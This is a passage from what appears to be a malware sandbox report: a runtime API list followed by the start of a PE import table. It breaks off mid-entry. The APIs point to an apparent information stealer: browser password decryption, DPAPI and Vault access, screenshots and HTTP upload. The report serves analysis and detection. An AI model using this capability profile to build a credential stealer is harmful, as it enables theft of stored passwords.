    "kernel32.dll.VirtualFree",
    "kernel32.dll.GetVersionExA",
    "kernel32.dll.TerminateProcess",
    "kernel32.dll.ExitProcess",
    "kernel32.dll.SetErrorMode",
    "kernel32.dll.Sleep",
    "kernel32.dll.GetCurrentProcessId",
    "kernel32.dll.SetCurrentDirectoryA",
    "kernel32.dll.CreateDirectoryA",
    "kernel32.dll.GetLastError",
    "kernel32.dll.CreateMutexA",
    "kernel32.dll.MultiByteToWideChar",
    "kernel32.dll.ReadFile",
    "kernel32.dll.GetFileSize",
    "kernel32.dll.Process32Next",
    "kernel32.dll.Process32First",
    "kernel32.dll.CreateToolhelp32Snapshot",
    "kernel32.dll.OpenProcess",
    "kernel32.dll.GetProcAddress",
    "kernel32.dll.FreeLibrary",
    "kernel32.dll.GetPrivateProfileSectionNamesA",
    "kernel32.dll.GetFileAttributesW",
    "kernel32.dll.InitializeCriticalSection",
    "kernel32.dll.InterlockedCompareExchange",
    "kernel32.dll.DeleteCriticalSection",
    "kernel32.dll.EnterCriticalSection",
    "kernel32.dll.LeaveCriticalSection",
    "kernel32.dll.AreFileApisANSI",
    "kernel32.dll.SetFilePointer",
    "kernel32.dll.SetEndOfFile",
    "kernel32.dll.FlushFileBuffers",
    "kernel32.dll.UnlockFile",
    "kernel32.dll.LockFile",
    "kernel32.dll.LockFileEx",
    "kernel32.dll.UnlockFileEx",
    "kernel32.dll.GetFileAttributesA",
    "kernel32.dll.GetFileAttributesExW",
    "kernel32.dll.LoadLibraryW",
    "kernel32.dll.QueryPerformanceCounter",
    "kernel32.dll.GetTickCount",
    "kernel32.dll.GetSystemTime",
    "kernel32.dll.GetSystemTimeAsFileTime",
    "kernel32.dll.UnmapViewOfFile",
    "kernel32.dll.GetTempPathA",
    "kernel32.dll.GetTempPathW",
    "kernel32.dll.DeleteFileA",
    "kernel32.dll.FormatMessageW",
    "kernel32.dll.GetFullPathNameA",
    "kernel32.dll.GetFullPathNameW",
    "kernel32.dll.GetDiskFreeSpaceA",
    "kernel32.dll.GetDiskFreeSpaceW",
    "kernel32.dll.CreateFileW",
    "kernel32.dll.GetSystemInfo",
    "kernel32.dll.MapViewOfFile",
    "kernel32.dll.CreateFileMappingA",
    "kernel32.dll.GetComputerNameA",
    "kernel32.dll.IsWow64Process",
    "kernel32.dll.GetCurrentProcess",
    "kernel32.dll.GlobalMemoryStatus",
    "kernel32.dll.GetModuleHandleA",
    "kernel32.dll.TzSpecificLocalTimeToSystemTime",
    "kernel32.dll.GetTimeZoneInformation",
    "kernel32.dll.GetLocaleInfoA",
    "kernel32.dll.GetFileSizeEx",
    "kernel32.dll.FileTimeToSystemTime",
    "kernel32.dll.GetFileInformationByHandle",
    "kernel32.dll.SystemTimeToFileTime",
    "kernel32.dll.GetLocalTime",
    "kernel32.dll.CompareStringW",
    "kernel32.dll.SetStdHandle",
    "kernel32.dll.IsValidLocale",
    "kernel32.dll.EnumSystemLocalesA",
    "kernel32.dll.GetUserDefaultLCID",
    "kernel32.dll.GetLocaleInfoW",
    "kernel32.dll.GetStringTypeW",
    "kernel32.dll.GetModuleFileNameA",
    "kernel32.dll.GetEnvironmentStringsW",
    "kernel32.dll.GetLogicalDriveStringsA",
    "kernel32.dll.GetDriveTypeA",
    "kernel32.dll.CreateDirectoryW",
    "kernel32.dll.CopyFileW",
    "kernel32.dll.lstrcpyW",
    "kernel32.dll.lstrcatW",
    "kernel32.dll.lstrlenA",
    "kernel32.dll.FindFirstFileW",
    "kernel32.dll.lstrcmpW",
    "kernel32.dll.DeleteFileW",
    "kernel32.dll.FindNextFileW",
    "kernel32.dll.FindClose",
    "kernel32.dll.CreateFileA",
    "kernel32.dll.WriteFile",
    "kernel32.dll.CloseHandle",
    "kernel32.dll.HeapFree",
    "kernel32.dll.GetProcessHeap",
    "kernel32.dll.HeapAlloc",
    "kernel32.dll.WideCharToMultiByte",
    "kernel32.dll.FreeEnvironmentStringsW",
    "kernel32.dll.SetEnvironmentVariableA",
    "kernel32.dll.SetEnvironmentVariableW",
    "kernel32.dll.GetConsoleMode",
    "kernel32.dll.GetConsoleCP",
    "kernel32.dll.GetModuleFileNameW",
    "kernel32.dll.IsValidCodePage",
    "kernel32.dll.GetOEMCP",
    "kernel32.dll.LocalFree",
    "kernel32.dll.LocalAlloc",
    "kernel32.dll.FormatMessageA",
    "kernel32.dll.GetACP",
    "kernel32.dll.HeapCreate",
    "kernel32.dll.GetFileType",
    "kernel32.dll.InitializeCriticalSectionAndSpinCount",
    "kernel32.dll.GetStdHandle",
    "kernel32.dll.SetHandleCount",
    "kernel32.dll.HeapSize",
    "kernel32.dll.IsDebuggerPresent",
    "kernel32.dll.SetUnhandledExceptionFilter",
    "kernel32.dll.UnhandledExceptionFilter",
    "kernel32.dll.GetCurrentThreadId",
    "kernel32.dll.SetLastError",
    "kernel32.dll.GetModuleHandleW",
    "kernel32.dll.TlsFree",
    "kernel32.dll.TlsSetValue",
    "kernel32.dll.TlsGetValue",
    "kernel32.dll.TlsAlloc",
    "kernel32.dll.IsProcessorFeaturePresent",
    "kernel32.dll.GetCPInfo",
    "kernel32.dll.LCMapStringW",
    "kernel32.dll.GetStartupInfoW",
    "kernel32.dll.HeapSetInformation",
    "kernel32.dll.GetCommandLineA",
    "kernel32.dll.HeapReAlloc",
    "kernel32.dll.RtlUnwind",
    "kernel32.dll.RaiseException",
    "kernel32.dll.InterlockedIncrement",
    "kernel32.dll.InterlockedDecrement",
    "kernel32.dll.InterlockedExchange",
    "kernel32.dll.WriteConsoleW",
    "user32.dll.GetDesktopWindow",
    "user32.dll.GetSystemMetrics",
    "user32.dll.GetDC",
    "user32.dll.CharToOemA",
    "user32.dll.EnumDisplayDevicesW",
    "user32.dll.MessageBoxA",
    "user32.dll.GetKeyboardLayoutList",
    "user32.dll.wsprintfA",
    "user32.dll.ReleaseDC",
    "gdi32.dll.CreateCompatibleBitmap",
    "gdi32.dll.SelectObject",
    "gdi32.dll.BitBlt",
    "gdi32.dll.DeleteObject",
    "gdi32.dll.CreateDCA",
    "gdi32.dll.GetDeviceCaps",
    "gdi32.dll.CreateCompatibleDC",
    "advapi32.dll.RegGetValueW",
    "advapi32.dll.RegOpenKeyExA",
    "advapi32.dll.RegQueryValueExA",
    "advapi32.dll.GetUserNameA",
    "advapi32.dll.GetCurrentHwProfileA",
    "advapi32.dll.RegOpenKeyExW",
    "advapi32.dll.RegEnumValueA",
    "advapi32.dll.RegCloseKey",
    "advapi32.dll.RegGetValueA",
    "advapi32.dll.RegEnumKeyExA",
    "shell32.dll.ShellExecuteA",
    "shell32.dll.SHGetFolderPathA",
    "ole32.dll.CoCreateInstance",
    "ole32.dll.CoUninitialize",
    "shlwapi.dll.PathMatchSpecW",
    "crypt32.dll.CryptStringToBinaryA",
    "crypt32.dll.CryptUnprotectData",
    "psapi.dll.GetModuleFileNameExA",
    "psapi.dll.GetModuleBaseNameA",
    "psapi.dll.EnumProcessModules",
    "wininet.dll.HttpQueryInfoA",
    "wininet.dll.InternetSetOptionA",
    "wininet.dll.InternetConnectA",
    "wininet.dll.InternetReadFile",
    "wininet.dll.HttpOpenRequestA",
    "wininet.dll.HttpSendRequestA",
    "wininet.dll.InternetCloseHandle",
    "wininet.dll.InternetOpenUrlA",
    "wininet.dll.InternetOpenA",
    "wininet.dll.HttpAddRequestHeadersA",
    "wininet.dll.InternetSetFilePointer",
    "gdiplus.dll.GdiplusStartup",
    "gdiplus.dll.GdiplusShutdown",
    "gdiplus.dll.GdipGetImageEncodersSize",
    "gdiplus.dll.GdipCreateBitmapFromHBITMAP",
    "gdiplus.dll.GdipCloneImage",
    "gdiplus.dll.GdipSaveImageToFile",
    "gdiplus.dll.GdipFree",
    "gdiplus.dll.GdipAlloc",
    "gdiplus.dll.GdipGetImageEncoders",
    "gdiplus.dll.GdipDisposeImage",
    "msvcr100.dll.atexit",
    "rasapi32.dll.RasConnectionNotificationW",
    "sechost.dll.NotifyServiceStatusChangeA",
    "cryptbase.dll.SystemFunction036",
    "nss3.dll.NSS_Init",
    "nss3.dll.NSS_Shutdown",
    "nss3.dll.PK11_GetInternalKeySlot",
    "nss3.dll.PK11_FreeSlot",
    "nss3.dll.PK11_Authenticate",
    "nss3.dll.PK11SDR_Decrypt",
    "nss3.dll.sqlite3_open",
    "nss3.dll.sqlite3_prepare_v2",
    "nss3.dll.sqlite3_step",
    "nss3.dll.sqlite3_column_text",
    "rpcrt4.dll.RpcStringBindingComposeW",
    "rpcrt4.dll.RpcBindingFromStringBindingW",
    "rpcrt4.dll.NdrClientCall2",
    "cryptbase.dll.SystemFunction041",
    "rpcrt4.dll.RpcStringFreeW",
    "rpcrt4.dll.RpcBindingFree",
    "vaultcli.dll.VaultOpenVault",
    "vaultcli.dll.VaultCloseVault",
    "vaultcli.dll.VaultEnumerateItems",
    "vaultcli.dll.VaultGetItem",
    "vaultcli.dll.VaultFree",
    "kernel32.dll.GlobalMemoryStatusEx",
    "user32.dll.GetWindowInfo",
    "user32.dll.GetAncestor",
    "user32.dll.GetMonitorInfoA",
    "user32.dll.EnumDisplayMonitors",
    "user32.dll.EnumDisplayDevicesA",
    "gdi32.dll.ExtTextOutW",
    "gdi32.dll.GdiIsMetaPrintDC",
    "windowscodecs.dll.DllGetClassObject",
    "kernel32.dll.WerRegisterMemoryBlock",
    "oleaut32.dll.#8",
    "oleaut32.dll.#9",
    "oleaut32.dll.#10",
    "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
    "setupapi.dll.CM_Get_Device_Interface_List_ExW",
    "comctl32.dll.#386",
    "advapi32.dll.UnregisterTraceGuids",
    "kernel32.dll.SetThreadUILanguage",
    "kernel32.dll.CopyFileExW",
    "kernel32.dll.SetConsoleInputExeNameW",
    "kernel32.dll.SortGetHandle",
    "kernel32.dll.SortCloseHandle",
    "sechost.dll.LookupAccountNameLocalW",
    "advapi32.dll.LookupAccountSidW",
    "sechost.dll.LookupAccountSidLocalW",
    "winsta.dll.WinStationFreeMemory",
    "winsta.dll.WinStationCloseServer",
    "winsta.dll.WinStationOpenServerW",
    "winsta.dll.WinStationFreeGAPMemory",
    "winsta.dll.WinStationGetAllProcesses",
    "winsta.dll.WinStationEnumerateProcesses",
    "kernel32.dll.GetThreadPreferredUILanguages",
    "kernel32.dll.SetThreadPreferredUILanguages",
    "kernel32.dll.LocaleNameToLCID",
    "kernel32.dll.LCIDToLocaleName",
    "kernel32.dll.GetSystemDefaultLocaleName",
    "oleaut32.dll.#283",
    "oleaut32.dll.#284",
    "kernel32.dll.RegOpenKeyExW",
    "ole32.dll.CoInitializeEx",
    "ole32.dll.CoInitializeSecurity",
    "wersvc.dll.ServiceMain",
    "wersvc.dll.SvchostPushServiceGlobals",
    "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
    "faultrep.dll.WerpInitiateCrashReporting",
    "wer.dll.WerpCreateMachineStore",
    "shell32.dll.SHGetFolderPathEx",
    "ole32.dll.StringFromGUID2",
    "profapi.dll.#104",
    "userenv.dll.CreateEnvironmentBlock",
    "sechost.dll.ConvertSidToStringSidW",
    "sspicli.dll.GetUserNameExW",
    "userenv.dll.DestroyEnvironmentBlock",
    "wer.dll.WerpSvcReportFromMachineQueue",
    "advapi32.dll.OpenProcessToken",
    "advapi32.dll.DuplicateToken",
    "advapi32.dll.AllocateAndInitializeSid",
    "advapi32.dll.CheckTokenMembership",
    "advapi32.dll.FreeSid",
    "wtsapi32.dll.WTSQueryUserToken",
    "winsta.dll.WinStationQueryInformationW",
    "advapi32.dll.CreateWellKnownSid",
    "rpcrt4.dll.RpcBindingSetAuthInfoExW",
    "rpcrt4.dll.NdrClientCall3",
    "advapi32.dll.ImpersonateLoggedOnUser",
    "advapi32.dll.CreateProcessAsUserW",
    "advapi32.dll.RevertToSelf",
    "imm32.dll.ImmDisableIME",
    "psapi.dll.GetModuleFileNameExW",
    "version.dll.GetFileVersionInfoSizeW",
    "version.dll.GetFileVersionInfoW",
    "version.dll.VerQueryValueW",
    "advapi32.dll.I_QueryTagInformation",
    "rpcrt4.dll.I_RpcSNCHOption",
    "wer.dll.WerpCreateIntegratorReportId",
    "wer.dll.WerReportCreate",
    "wer.dll.WerpSetIntegratorReportId",
    "wer.dll.WerReportSetParameter",
    "dbgeng.dll.DebugCreate",
    "ntdll.dll.CsrGetProcessId",
    "ntdll.dll.DbgBreakPoint",
    "ntdll.dll.DbgPrint",
    "ntdll.dll.DbgPrompt",
    "ntdll.dll.DbgUiConvertStateChangeStructure",
    "ntdll.dll.DbgUiGetThreadDebugObject",
    "ntdll.dll.DbgUiIssueRemoteBreakin",
    "ntdll.dll.DbgUiSetThreadDebugObject",
    "ntdll.dll.NtAllocateVirtualMemory",
    "ntdll.dll.NtClose",
    "ntdll.dll.NtCreateDebugObject",
    "ntdll.dll.NtCreateFile",
    "ntdll.dll.NtDebugActiveProcess",
    "ntdll.dll.NtDebugContinue",
    "ntdll.dll.NtFreeVirtualMemory",
    "ntdll.dll.NtOpenProcess",
    "ntdll.dll.NtOpenThread",
    "ntdll.dll.NtQueryInformationProcess",
    "ntdll.dll.NtQueryInformationThread",
    "ntdll.dll.NtQueryMutant",
    "ntdll.dll.NtQueryObject",
    "ntdll.dll.NtQuerySystemInformation",
    "ntdll.dll.NtRemoveProcessDebug",
    "ntdll.dll.NtResumeThread",
    "ntdll.dll.NtSetInformationDebugObject",
    "ntdll.dll.NtSetInformationProcess",
    "ntdll.dll.NtSystemDebugControl",
    "ntdll.dll.NtWaitForDebugEvent",
    "ntdll.dll.RtlAnsiStringToUnicodeString",
    "ntdll.dll.RtlCreateProcessParameters",
    "ntdll.dll.RtlCreateUserProcess",
    "ntdll.dll.RtlDestroyProcessParameters",
    "ntdll.dll.RtlDosPathNameToNtPathName_U",
    "ntdll.dll.RtlFindMessage",
    "ntdll.dll.RtlFreeHeap",
    "ntdll.dll.RtlFreeUnicodeString",
    "ntdll.dll.RtlGetFunctionTableListHead",
    "ntdll.dll.RtlGetUnloadEventTrace",
    "ntdll.dll.RtlGetUnloadEventTraceEx",
    "ntdll.dll.RtlInitAnsiString",
    "ntdll.dll.RtlInitUnicodeString",
    "ntdll.dll.RtlTryEnterCriticalSection",
    "ntdll.dll.RtlUnicodeStringToAnsiString",
    "ntdll.dll.NtOpenProcessToken",
    "ntdll.dll.NtOpenThreadToken",
    "ntdll.dll.NtQueryInformationToken",
    "kernel32.dll.CloseProfileUserMapping",
    "kernel32.dll.DebugActiveProcessStop",
    "kernel32.dll.DebugBreak",
    "kernel32.dll.DebugBreakProcess",
    "kernel32.dll.DebugSetProcessKillOnExit",
    "kernel32.dll.Module32First",
    "kernel32.dll.Module32FirstW",
    "kernel32.dll.Module32Next",
    "kernel32.dll.Module32NextW",
    "kernel32.dll.OpenThread",
    "kernel32.dll.Process32FirstW",
    "kernel32.dll.Process32NextW",
    "kernel32.dll.ProcessIdToSessionId",
    "kernel32.dll.SetProcessShutdownParameters",
    "kernel32.dll.Thread32First",
    "kernel32.dll.Thread32Next",
    "kernel32.dll.DuplicateHandle",
    "kernel32.dll.Wow64GetThreadSelectorEntry",
    "advapi32.dll.CloseServiceHandle",
    "advapi32.dll.ControlService",
    "advapi32.dll.CreateServiceA",
    "advapi32.dll.CreateServiceW",
    "advapi32.dll.DeleteService",
    "advapi32.dll.EnumServicesStatusExA",
    "advapi32.dll.EnumServicesStatusExW",
    "advapi32.dll.GetEventLogInformation",
    "advapi32.dll.GetTokenInformation",
    "advapi32.dll.OpenSCManagerA",
    "advapi32.dll.OpenSCManagerW",
    "advapi32.dll.OpenServiceA",
    "advapi32.dll.OpenServiceW",
    "advapi32.dll.StartServiceA",
    "advapi32.dll.StartServiceW",
    "advapi32.dll.GetSidSubAuthority",
    "advapi32.dll.GetSidSubAuthorityCount",
    "version.dll.GetFileVersionInfoSizeExW",
    "version.dll.GetFileVersionInfoExW",
    "dbghelp.dll.WinDbgExtensionDllInit",
    "dbghelp.dll.ExtensionApiVersion",
    "wer.dll.WerpSetDynamicParameter",
    "wer.dll.WerReportAddDump",
    "wer.dll.WerpSetCallBack",
    "wer.dll.WerReportSetUIOption",
    "wer.dll.WerpAddRegisteredDataToReport",
    "wer.dll.WerReportSubmit",
    "advapi32.dll.RegQueryValueExW",
    "user32.dll.LoadStringW",
    "advapi32.dll.RegCreateKeyExW",
    "advapi32.dll.RegSetValueExW",
    "user32.dll.GetProcessWindowStation",
    "user32.dll.GetThreadDesktop",
    "user32.dll.GetUserObjectInformationW",
    "sensapi.dll.IsNetworkAlive",
    "user32.dll.CharUpperW",
    "wer.dll.WerpAddAppCompatData",
    "apphelp.dll.SdbGetFileAttributes",
    "apphelp.dll.SdbFormatAttribute",
    "apphelp.dll.SdbFreeFileAttributes",
    "cryptsp.dll.CryptAcquireContextW",
    "cryptsp.dll.CryptCreateHash",
    "cryptsp.dll.CryptHashData",
    "cryptsp.dll.CryptGetHashParam",
    "cryptsp.dll.CryptDestroyHash",
    "cryptsp.dll.CryptReleaseContext",
    "advapi32.dll.QueryTraceW",
    "advapi32.dll.IsValidSid",
    "advapi32.dll.GetLengthSid",
    "advapi32.dll.CopySid",
    "advapi32.dll.InitializeAcl",
    "advapi32.dll.AddAccessAllowedAceEx",
    "advapi32.dll.InitializeSecurityDescriptor",
    "advapi32.dll.SetSecurityDescriptorDacl",
    "advapi32.dll.RegisterEventSourceW",
    "advapi32.dll.ReportEventW",
    "advapi32.dll.DeregisterEventSource",
    "shlwapi.dll.PathIsDirectoryW",
    "wer.dll.WerpGetStoreLocation",
    "wer.dll.WerpGetStoreType",
    "wer.dll.WerReportCloseHandle",
    "user32.dll.MsgWaitForMultipleObjects",
    "wer.dll.WerpFreeString",
    "werui.dll.WerUICreate",
    "werui.dll.WerUIStart",
    "werui.dll.WerUITerminate",
    "werui.dll.WerUIDelete",
    "wmisvc.dll.ServiceMain",
    "sechost.dll.RegisterServiceCtrlHandlerExW",
    "sechost.dll.SetServiceStatus",
    "cryptsp.dll.CryptGenRandom",
    "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
    "ole32.dll.CoGetClassObject",
    "ole32.dll.CoGetMarshalSizeMax",
    "ole32.dll.CoMarshalInterface",
    "ole32.dll.CoUnmarshalInterface",
    "ole32.dll.StringFromIID",
    "ole32.dll.CoGetPSClsid",
    "ole32.dll.CoTaskMemAlloc",
    "ole32.dll.CoTaskMemFree",
    "ole32.dll.CoReleaseMarshalData",
    "ole32.dll.DcomChannelSetHResult",
    "vssapi.dll.CreateWriter",
    "oleaut32.dll.#6",
    "oleaut32.dll.#2",
    "advapi32.dll.LookupAccountNameW",
    "samcli.dll.NetLocalGroupGetMembers",
    "samlib.dll.SamConnect",
    "samlib.dll.SamOpenDomain",
    "samlib.dll.SamLookupNamesInDomain",
    "samlib.dll.SamOpenAlias",
    "samlib.dll.SamFreeMemory",
    "samlib.dll.SamCloseHandle",
    "samlib.dll.SamGetMembersInAlias",
    "netutils.dll.NetApiBufferFree",
    "samlib.dll.SamEnumerateDomainsInSamServer",
    "samlib.dll.SamLookupDomainInSamServer",
    "ole32.dll.CoCreateGuid",
    "advapi32.dll.WmiOpenBlock",
    "ole32.dll.StringFromCLSID",
    "oleaut32.dll.#4",
    "oleaut32.dll.#7",
    "propsys.dll.VariantToPropVariant",
    "wbemcore.dll.Reinitialize",
    "wbemsvc.dll.DllGetClassObject",
    "wbemsvc.dll.DllCanUnloadNow",
    "authz.dll.AuthzInitializeContextFromToken",
    "authz.dll.AuthzInitializeObjectAccessAuditEvent2",
    "authz.dll.AuthzAccessCheck",
    "authz.dll.AuthzFreeAuditEvent",
    "authz.dll.AuthzFreeContext",
    "authz.dll.AuthzInitializeResourceManager",
    "authz.dll.AuthzFreeResourceManager",
    "rpcrt4.dll.RpcBindingCreateW",
    "rpcrt4.dll.RpcBindingBind",
    "rpcrt4.dll.I_RpcMapWin32Status",
    "advapi32.dll.EventRegister",
    "advapi32.dll.EventUnregister",
    "advapi32.dll.EventWrite",
    "kernel32.dll.RegCloseKey",
    "kernel32.dll.RegSetValueExW",
    "kernel32.dll.RegQueryValueExW",
    "wmisvc.dll.IsImproperShutdownDetected",
    "wevtapi.dll.EvtRender",
    "wevtapi.dll.EvtNext",
    "wevtapi.dll.EvtClose",
    "wevtapi.dll.EvtQuery",
    "wevtapi.dll.EvtCreateRenderContext",
    "rpcrt4.dll.RpcBindingSetOption",
    "ole32.dll.CoCreateFreeThreadedMarshaler",
    "ole32.dll.CreateStreamOnHGlobal",
    "kernelbase.dll.InitializeAcl",
    "kernelbase.dll.AddAce",
    "kernel32.dll.IsThreadAFiber",
    "kernel32.dll.OpenProcessToken",
    "kernelbase.dll.GetTokenInformation",
    "kernelbase.dll.DuplicateTokenEx",
    "kernelbase.dll.AdjustTokenPrivileges",
    "kernel32.dll.SetThreadToken",
    "kernelbase.dll.CheckTokenMembership",
    "kernelbase.dll.AllocateAndInitializeSid",
    "ole32.dll.CLSIDFromString",
    "oleaut32.dll.#285",
    "advapi32.dll.RegOpenKeyW",
    "oleaut32.dll.#12",
    "oleaut32.dll.#286",
    "oleaut32.dll.#17",
    "oleaut32.dll.#20",
    "oleaut32.dll.#19",
    "oleaut32.dll.#25",
    "authz.dll.AuthzInitializeContextFromSid",
    "ole32.dll.CoGetCallContext",
    "ole32.dll.CoRevertToSelf",
    "advapi32.dll.LogonUserExExW",
    "sspicli.dll.LogonUserExExW",
    "ole32.dll.CoImpersonateClient",
    "advapi32.dll.OpenThreadToken",
    "ole32.dll.CoSwitchCallContext",
    "ntmarta.dll.GetMartaExtensionInterface",
    "fastprox.dll.DllGetClassObject",
    "fastprox.dll.DllCanUnloadNow",
    "oleaut32.dll.#500",
    "ntdll.dll.EtwUnregisterTraceGuids",
    "uxtheme.dll.ThemeInitApiHook",
    "user32.dll.IsProcessDPIAware",
    "dwmapi.dll.DwmIsCompositionEnabled",
    "rpcrt4.dll.UuidFromStringW",
    "radarrs.dll.WdiDiagnosticModuleMain",
    "radarrs.dll.WdiHandleInstance",
    "radarrs.dll.WdiGetDiagnosticModuleInterfaceVersion"
]

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "HeapReAlloc",
                        "address": "0x431000"
                    },
                    {
                        "name": "GetNativeSystemInfo",
                        "address": "0x431004"
                    },
                    {
                        "name": "GetDriveTypeW",
                        "address": "0x431008"
                    },
                    {
                        "name": "ReadConsoleA",
                        "address": "0x43100c"
                    },
                    {
                        "name": "WaitForSingleObject",
                        "address": "0x431010"
                    },
                    {
                        "name": "FlushConsoleInputBuffer",
                        "address": "0x431014"
                    },
                    {
                        "name": "SetTapeParameters",
                        "address": "0x431018"
                    },
                    {
                        "name": "GetModuleHandleW",
                        "address": "0x43101c"
                    },
                    {
                        "name": "ExpandEnvironmentStringsA",
                        "address": "0x431020"
                    },
                    {
                        "name": "WaitNamedPipeW",
                        "address": "0x431024"
                    },
                    {
                        "name": "EnumTimeFormatsA",
                        "address": "0x431028"
                    },
                    {
                        "name": "LoadLibraryW",
                        "address": "0x43102c"
                    },
                    {
                        "name": "Sleep",
                        "address": "0x431030"
                    },
                    {
                        "name": "FormatMessageW",
                        "address": "0x431034"
                    },
                    {
                        "name": "GetStringTypeExW",
                        "address": "0x431038"
                    },
                    {
                        "name": "GetSystemDirectoryA",
                        "address": "0x43103c"
                    },
                    {
                        "name": "CreateMailslotW",
                        "address": "0x431040"
                    },
                    {
                        "name": "WritePrivateProfileStringW",
                        "address": "0x431044"
                    },
                    {
                        "name": "ReplaceFileA",
                        "address": "0x431048"
                    },
                    {
                        "name": "EnumSystemLocalesA",
                        "address": "0x43104c"
                    },
                    {
                        "name": "GetProfileIntA",
                        "address": "0x431050"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x431054"
                    },
                    {
                        "name": "GetLongPathNameW",
                        "address": "0x431058"
                    },
                    {
                        "name": "IsBadHugeWritePtr",
                        "address": "0x43105c"
                    },
                    {
                        "name": "DefineDosDeviceW",
                        "address": "0x431060"
                    },
                    {
                        "name": "MoveFileW",
                        "address": "0x431064"
                    },
                    {
                        "name": "GetFirmwareEnvironmentVariableW",
                        "address": "0x431068"
                    },
                    {
                        "name": "LocalAlloc",
                        "address": "0x43106c"
                    },
                    {
                        "name": "FindFirstVolumeMountPointW",
                        "address": "0x431070"
                    },
                    {
                        "name": "GetProfileStringA",
                        "address": "0x431074"
                    },
                    {
                        "name": "HeapLock",
                        "address": "0x431078"
                    },
                    {
                        "name": "GetVolumePathNamesForVolumeNameA",
                        "address": "0x43107c"
                    },
                    {
                        "name": "GetDefaultCommConfigA",
                        "address": "0x431080"
                    },
                    {
                        "name": "VirtualProtect",
                        "address": "0x431084"
                    },
                    {
                        "name": "DeleteCriticalSection",
                        "address": "0x431088"
                    },
                    {
                        "name": "MoveFileWithProgressW",
                        "address": "0x43108c"
                    },
                    {
                        "name": "GetVolumeInformationW",
                        "address": "0x431090"
                    },
                    {
                        "name": "WriteConsoleW",
                        "address": "0x431094"
                    },
                    {
                        "name": "GetStringTypeW",
                        "address": "0x431098"
                    },
                    {
                        "name": "ReadConsoleW",
                        "address": "0x43109c"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x4310a0"
                    },
                    {
                        "name": "OutputDebugStringW",
                        "address": "0x4310a4"
                    },
                    {
                        "name": "FlushFileBuffers",
                        "address": "0x4310a8"
                    },
                    {
                        "name": "SetStdHandle",
                        "address": "0x4310ac"
                    },
                    {
                        "name": "HeapFree",
                        "address": "0x4310b0"
                    },
                    {
                        "name": "EncodePointer",
                        "address": "0x4310b4"
                    },
                    {
                        "name": "DecodePointer",
                        "address": "0x4310b8"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x4310bc"
                    },
                    {
                        "name": "RaiseException",
                        "address": "0x4310c0"
                    },
                    {
                        "name": "RtlUnwind",
                        "address": "0x4310c4"
                    },
                    {
                        "name": "IsDebuggerPresent",
                        "address": "0x4310c8"
                    },
                    {
                        "name": "IsProcessorFeaturePresent",
                        "address": "0x4310cc"
                    },
                    {
                        "name": "EnterCriticalSection",
                        "address": "0x4310d0"
                    },
                    {
                        "name": "LeaveCriticalSection",
                        "address": "0x4310d4"
                    },
                    {
                        "name": "GetStdHandle",
                        "address": "0x4310d8"
                    },
                    {
                        "name": "GetFileType",
                        "address": "0x4310dc"
                    },
                    {
                        "name": "GetStartupInfoW",
                        "address": "0x4310e0"
                    },
                    {
                        "name": "GetProcessHeap",
                        "address": "0x4310e4"
                    },
                    {
                        "name": "HeapAlloc",
                        "address": "0x4310e8"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x4310ec"
                    },
                    {
                        "name": "GetModuleHandleExW",
                        "address": "0x4310f0"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x4310f4"
                    },
                    {
                        "name": "AreFileApisANSI",
                        "address": "0x4310f8"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x4310fc"
                    },
                    {
                        "name": "WideCharToMultiByte",
                        "address": "0x431100"
                    },
                    {
                        "name": "HeapSize",
                        "address": "0x431104"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x431108"
                    },
                    {
                        "name": "SetLastError",
                        "address": "0x43110c"
                    },
                    {
                        "name": "GetCurrentThread",
                        "address": "0x431110"
                    },
                    {
                        "name": "GetCurrentThreadId",
                        "address": "0x431114"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x431118"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x43111c"
                    },
                    {
                        "name": "GetModuleFileNameW",
                        "address": "0x431120"
                    },
                    {
                        "name": "QueryPerformanceCounter",
                        "address": "0x431124"
                    },
                    {
                        "name": "GetCurrentProcessId",
                        "address": "0x431128"
                    },
                    {
                        "name": "GetSystemTimeAsFileTime",
                        "address": "0x43112c"
                    },
                    {
                        "name": "GetEnvironmentStringsW",
                        "address": "0x431130"
                    },
                    {
                        "name": "FreeEnvironmentStringsW",
                        "address": "0x431134"
                    },
                    {
                        "name": "UnhandledExceptionFilter",
                        "address": "0x431138"
                    },
                    {
                        "name": "SetUnhandledExceptionFilter",
                        "address": "0x43113c"
                    },
                    {
                        "name": "InitializeCriticalSectionAndSpinCount",
                        "address": "0x431140"
                    },
                    {
                        "name": "CreateEventW",
                        "address": "0x431144"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x431148"
                    },
                    {
                        "name": "TerminateProcess",
                        "address": "0x43114c"
                    },
                    {
                        "name": "TlsAlloc",
                        "address": "0x431150"
                    },
                    {
                        "name": "TlsGetValue",
                        "address": "0x431154"
                    },
                    {
                        "name": "TlsSetValue",
                        "address": "0x431158"
                    },
                    {
                        "name": "TlsFree",
                        "address": "0x43115c"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x431160"
                    },
                    {
                        "name": "CreateSemaphoreW",
                        "address": "0x431164"
                    },
                    {
                        "name": "FatalAppExitA",
                        "address": "0x431168"
                    },
                    {
                        "name": "IsValidCodePage",
                        "address": "0x43116c"
                    },
                    {
                        "name": "GetACP",
                        "address": "0x431170"
                    },
                    {
                        "name": "GetOEMCP",
                        "address": "0x431174"
                    },
                    {
                        "name": "GetCPInfo",
                        "address": "0x431178"
                    },
                    {
                        "name": "GetConsoleCP",
                        "address": "0x43117c"
                    },
                    {
                        "name": "GetConsoleMode",
                        "address": "0x431180"
                    },
                    {
                        "name": "SetFilePointerEx",
                        "address": "0x431184"
                    },
                    {
                        "name": "SetConsoleCtrlHandler",
                        "address": "0x431188"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x43118c"
                    },
                    {
                        "name": "LoadLibraryExW",
                        "address": "0x431190"
                    },
                    {
                        "name": "GetDateFormatW",
